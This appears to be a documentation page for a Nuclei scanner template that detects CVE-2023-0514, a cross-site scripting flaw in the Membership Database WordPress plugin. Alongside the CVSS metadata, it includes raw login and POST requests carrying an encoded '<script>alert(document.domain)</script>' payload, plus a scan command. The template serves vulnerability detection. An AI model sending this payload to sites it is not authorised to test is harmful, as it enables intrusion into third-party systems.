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Membership Database <= 1.0 - Cross-Site Scripting

ID: CVE-2023-0514

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,wpscan,membership-database,wp,wp-plugin,wordpress,authenticated,xss,membership_database_project

Description

Section titled “Description”

Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2023-0514


info:
  name: Membership Database <= 1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Membership Database before 1.0 is susceptible to cross-site scripting via the tab parameter due to insufficient input sanitization and output escaping. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of the Membership Database software or apply the necessary security patches provided by the vendor.
  reference:
    - https://wpscan.com/vulnerability/c6cc400a-9bfb-417d-9206-5582a49d0f05
    - https://wordpress.org/plugins/member-database/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0514
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-0514
    cwe-id: CWE-79
    epss-score: 0.0011
    epss-percentile: 0.44066
    cpe: cpe:2.3:a:membership_database_project:membership_database:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: membership_database_project
    product: membership_database
    framework: wordpress
  tags: cve2023,cve,wpscan,membership-database,wp,wp-plugin,wordpress,authenticated,xss,membership_database_project


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        POST /wp-admin/admin.php?page=member-database%2Flist_members.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=sort&where=id&operator=%3D&value=asd%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%2F%2F&sortBy=id&ascdesc=asc


    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "<script>alert(document.domain)</script>")'
          - 'contains(body_2, "Member Database")'
        condition: and
# digest: 4a0a0047304502201e22a5d740963ba312a16712caf720369b37ad0b1c4b39ed0d17d43a2a8568b7022100fa8c30963b3fde34a3da3e9f4e0fd178db01eb0f585a8a89ba95f94aa8f708eb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0514.yaml"

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